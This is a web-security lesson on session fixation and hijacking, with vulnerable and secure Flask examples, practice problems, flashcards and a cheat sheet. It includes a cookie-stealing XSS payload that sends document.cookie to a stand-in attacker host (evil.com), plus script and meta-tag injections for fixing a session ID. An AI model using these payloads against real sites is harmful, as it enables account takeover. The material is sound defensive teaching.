Session Fixation: When the Attacker Chooses the Session ID
Session Fixation: Forcing the Victim to Use the Attacker's Session
Session fixation is an attack where an attacker sets a known session ID in the victim's browser before the victim logs in. When the victim authenticates, the server associates the attacker's chosen session ID with the victim's authenticated session. The attacker, who knows the session ID, can now access the victim's authenticated session.
How Session Fixation Works
Attack flow:
Attacker obtains a valid session ID: The attacker visits the application and receives a session ID (e.g.,
session_id=abc123).Attacker fixes the session ID in the victim's browser: The attacker uses one of several techniques:
- URL parameter:
https://example.com/?sessionid=abc123(if the application accepts session IDs in URLs) - Cross-site scripting: Inject JavaScript that sets the cookie:
<script>document.cookie='sessionid=abc123'</script> - Meta tag injection:
<meta http-equiv="Set-Cookie" content="sessionid=abc123"> - Network injection: If the application uses HTTP, the attacker can inject a
Set-Cookieheader into the response
- URL parameter:
Victim logs in: The victim authenticates using the fixed session ID. The server associates
abc123with the victim's authenticated session.Attacker accesses the session: The attacker uses
abc123to access the victim's authenticated session.
Why Session Fixation Succeeds
The root cause is that the application does not issue a new session ID after authentication. The same session ID that was used before login is used after login. This allows the attacker to "fix" the session ID before authentication and use it after.
Vulnerable code:
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if verify_credentials(username, password):
# VULNERABLE — does not regenerate session ID
session['user_id'] = get_user_id(username)
return redirect('/dashboard')
return 'Invalid credentials', 401
Secure code:
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if verify_credentials(username, password):
# SECURE — regenerate session ID on privilege change
session.regenerate()
session['user_id'] = get_user_id(username)
return redirect('/dashboard')
return 'Invalid credentials', 401
Session Rotation Best Practices
Session IDs must be regenerated at every privilege level change:
- After login: The most critical rotation point
- After password change: Prevents the attacker from using a previously stolen session
- After privilege escalation: When a user gains admin access
- After re-authentication: When a user re-enters their password for a sensitive action
@app.route('/change-password', methods=['POST'])
def change_password():
user = get_current_user()
if verify_password(user, request.form['current_password']):
user.password_hash = hash_password(request.form['new_password'])
user.save()
# Regenerate session after password change
session.regenerate()
session['user_id'] = user.id
return 'Password changed'
return 'Invalid password', 401
Session Hijacking Vectors and Defense
Session Hijacking: Stealing and Using Victim Sessions
Session hijacking is the theft and use of a victim's session ID. Unlike fixation (where the attacker chooses the session ID before login), hijacking involves stealing an already-authenticated session ID.
Session Hijacking Vectors
1. XSS (Cross-Site Scripting)
If the session cookie does not have the HttpOnly flag, an attacker can steal it via XSS:
// Attacker's XSS payload
fetch('https://evil.com/?c=' + document.cookie);
Defense: Set the HttpOnly flag on session cookies. This prevents JavaScript from accessing the cookie.
2. Network Eavesdropping
If the session cookie does not have the Secure flag, it can be intercepted over unencrypted HTTP:
# Attacker captures unencrypted HTTP traffic
GET /dashboard HTTP/1.1
Cookie: session_id=abc123
Defense: Set the Secure flag and enforce HTTPS. Use HSTS to prevent downgrade attacks.
3. Session Prediction
If session IDs are generated using a predictable algorithm (e.g., sequential numbers, timestamps, or weak random number generators), an attacker can guess valid session IDs:
# VULNERABLE — predictable session ID
import random
session_id = random.randint(100000, 999999) # Only 900,000 possibilities
# SECURE — cryptographically random session ID
import secrets
session_id = secrets.token_urlsafe(32) # 256 bits of entropy
Defense: Use secrets.token_urlsafe() or os.urandom() to generate session IDs with at least 128 bits of entropy.
4. Session Sidejacking (Firesheep)
An attacker on the same network monitors unencrypted Wi-Fi traffic and captures session cookies from HTTP requests. The attacker replays the cookie to access the victim's session.
Defense: Enforce HTTPS for all pages (not just login). Set the Secure flag on all cookies.
5. Cross-Site Scripting via Subdomains
If the application sets cookies with Domain=.example.com, an XSS vulnerability on any subdomain (e.g., blog.example.com) can steal the session cookie for the entire domain.
Defense: Omit the Domain attribute to limit cookies to the exact host. Use separate subdomains for different applications.
Session Binding
Session binding associates a session with additional client characteristics to limit the impact of session theft:
IP Address Binding:
@app.before_request
def check_session_binding():
if 'user_id' in session:
if session.get('ip_address') != request.remote_addr:
session.clear()
return redirect('/login')
Limitations of IP binding: Users behind NAT, mobile networks, or VPNs may have changing IP addresses, causing false positives.
User-Agent Binding:
@app.before_request
def check_user_agent():
if 'user_id' in session:
if session.get('user_agent') != request.headers.get('User-Agent'):
session.clear()
return redirect('/login')
Limitations of User-Agent binding: User-Agent strings can be easily spoofed by attackers.
Device Fingerprinting:
- Combine multiple signals (IP, User-Agent, Accept headers, TLS fingerprint)
- Use a risk score rather than a binary allow/deny
- Flag suspicious sessions for re-authentication rather than blocking them
Practice: Implement Secure Session Management
Implement a secure session management system that:
- Generates cryptographically random session IDs
- Regenerates the session ID on login
- Binds the session to the user's IP address and User-Agent
- Implements idle and absolute timeouts
Practice Problems
A web application accepts session IDs via URL parameters (e.g., `https://example.com/?sessionid=abc123`). The login endpoint authenticates the user but does not regenerate the session ID. Explain how an attacker would exploit this and what the fix should be.
Solution
An attacker would:
1. Visit the application to obtain a valid session ID (e.g., `abc123`)
2. Send the victim a link: `https://example.com/?sessionid=abc123`
3. The victim clicks the link and logs in
4. The server authenticates the victim and associates `abc123` with the victim's account
5. The attacker uses `abc123` to access the victim's authenticated session
Fix:
1. Do not accept session IDs via URL parameters — use cookies only
2. Regenerate the session ID immediately after login (session rotation)
3. Set the `HttpOnly` and `Secure` flags on the session cookie
```python
@app.route('/login', methods=['POST'])
def login():
if verify_credentials(username, password):
session.regenerate() # Issue new session ID
session['user_id'] = get_user_id(username)
return redirect('/dashboard')
``` A web application generates session IDs using the following code. Identify the vulnerability and calculate the entropy: ```python import random import time def generate_session_id(): return str(int(time.time())) + str(random.randint(1000, 9999)) ```
Solution
This session ID generation is critically flawed:
1. **Timestamp component**: `int(time.time())` is predictable — an attacker knows the approximate time the session was created.
2. **Random component**: `random.randint(1000, 9999)` uses Python's `random` module, which is a Mersenne Twister PRNG — not cryptographically secure. It has only 9,000 possible values.
3. **Total entropy**: The timestamp reduces the search space to a narrow window (e.g., sessions created within a 1-minute window). The random component adds only ~13.1 bits of entropy (log2(9000)). An attacker can brute-force all possible session IDs within a time window in milliseconds.
Fix: Use `secrets.token_urlsafe(32)` which provides 256 bits of cryptographically secure randomness:
```python
import secrets
def generate_session_id():
return secrets.token_urlsafe(32)
``` Quiz
1. What is the primary defense against session fixation attacks?
2. Which session hijacking vector is mitigated by the `HttpOnly` cookie flag?
3. Why is Python's `random` module unsuitable for generating session IDs?
4. What is the limitation of IP address binding as a session security measure?
5. Which of the following is NOT a session hijacking vector?
Flashcards
Question
What is session fixation?
Click to reveal answer
Answer
An attack where the attacker sets a known session ID in the victim's browser before login. When the victim authenticates, the server associates the attacker's session ID with the victim's account. Defeated by regenerating the session ID on login.
Question
What is the primary defense against session fixation?
Click to reveal answer
Answer
Session rotation — issuing a new session ID immediately after login. The attacker's pre-set session ID becomes invalid when the server regenerates it on authentication.
Question
Why is Python's `random` module unsuitable for session IDs?
Click to reveal answer
Answer
It uses the Mersenne Twister PRNG, which is not cryptographically secure. An attacker who observes enough outputs can determine the internal state and predict future values. Use `secrets.token_urlsafe()` instead.
Question
What is session binding?
Click to reveal answer
Answer
Associating a session with additional client characteristics (IP address, User-Agent, device fingerprint) to limit the impact of session theft. If the characteristics change, the session is invalidated or flagged for re-authentication.
Question
What is the Firesheep attack?
Click to reveal answer
Answer
A session sidejacking attack where an attacker on the same unencrypted Wi-Fi network monitors traffic and captures session cookies from HTTP requests. The attacker replays the cookie to access the victim's session. Defended by enforcing HTTPS and the Secure flag.
Revision Notes
Key Takeaways
- 1. Session fixation is defeated by issuing a fresh session ID immediately after login (session rotation)
- 2. Session IDs must be generated by a cryptographically secure RNG with at least 128 bits of entropy
- 3. HttpOnly prevents XSS-based session theft; Secure prevents network eavesdropping
- 4. Session binding (IP, User-Agent, device fingerprint) limits the impact of session theft
- 5. Regenerate session IDs at every privilege change: login, password change, privilege escalation
Interview Tips
- • Walk through a session fixation attack step-by-step and explain how session rotation defeats it
- • Discuss multiple session hijacking vectors and the specific defense for each
- • Explain why Python's `random` module is unsuitable for session IDs and what to use instead
- • Describe session binding techniques and their limitations (IP binding causes false positives for mobile users)
Cheat Sheet
Session Fixation and Hijacking Cheat Sheet
Phase: Password Storage and Session Security | Level: advanced
Session Fixation:
- Attacker sets a known session ID in the victim's browser before login
- Server associates the fixed session ID with the victim's authenticated session
- Defense: regenerate session ID on login (session rotation)
Session Hijacking Vectors:
- XSS → HttpOnly flag
- Network eavesdropping → Secure flag + HTTPS
- Session prediction → cryptographically random IDs (secrets.token_urlsafe)
- Subdomain XSS → omit Domain attribute
Session ID Requirements:
- At least 128 bits of entropy (256 bits recommended)
- Generated by cryptographically secure RNG (secrets, os.urandom)
- Never accepted via URL parameters
Session Binding:
- IP address (limited — NAT/mobile causes false positives)
- User-Agent (limited — easily spoofed)
- Device fingerprint (best — combine multiple signals)
Key points:
- Session fixation is defeated by issuing a fresh session ID immediately after login
- Session IDs must be long, random, and generated by a cryptographically secure source
- Binding sessions to additional signals like IP or device fingerprints limits reuse after theft
Tags: sessions, web-security
Continue Learning
Before You Start
- No prerequisites listed.